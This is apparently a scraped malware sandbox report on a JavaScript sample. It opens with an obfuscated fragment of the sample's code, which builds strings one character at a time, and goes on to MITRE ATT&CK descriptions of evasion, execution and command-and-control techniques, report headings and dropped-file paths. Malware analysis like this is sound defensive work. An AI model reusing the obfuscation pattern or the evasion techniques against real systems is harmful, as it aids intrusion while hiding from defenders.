1327	hdrximzn = "F";
1328	hdrximzn = "9";
1329	nvktozwj = "I";
1330	nvktozwj = "a";
1331	nvktozwj = "D";
1332	nvktozwj = "U";
1333	nvktozwj = "k";
1334	nvktozwj = "S";
1335	nvktozwj = "O";
1336	nvktozwj = "2";
1337	zzqagrh = "T";
1338	zzqagrh = "Q";
1339	zzqagrh = "M";
1340	zzqagrh = "Q";
1341	zzqagrh = "s";
1342	zzqagrh = "O";
1343	zzqagrh = "I";
1344	zzqagrh = "k";
1345	zzqagrh = "j";
1346	zzqagrh = "Z";
1347	zzqagrh = "a";
1348	zzqagrh = "A";
1349	zzqagrh = "S";
1350	zzqagrh = "h";
1351	zzqagrh = "F";
1352	zzqagrh = "x";
1353	zzqagrh = "H";
1354	zzqagrh = "s";
1355	zzqagrh = "d";
1356	xlbow = "q";
1357	xlbow = "e";
1358	xlbow = "T";
1359	xlbow = "K";
1360	xlbow = "-";
1361	kuksmuv ( );	kuksmuv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 152068002360415087.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\65a54c94-7ecf-47e5-ac89-5134a4fea732.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3cb244.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ef0a102a-7a43-4298-82e5-6b997a855cba.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
152068002360415087.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre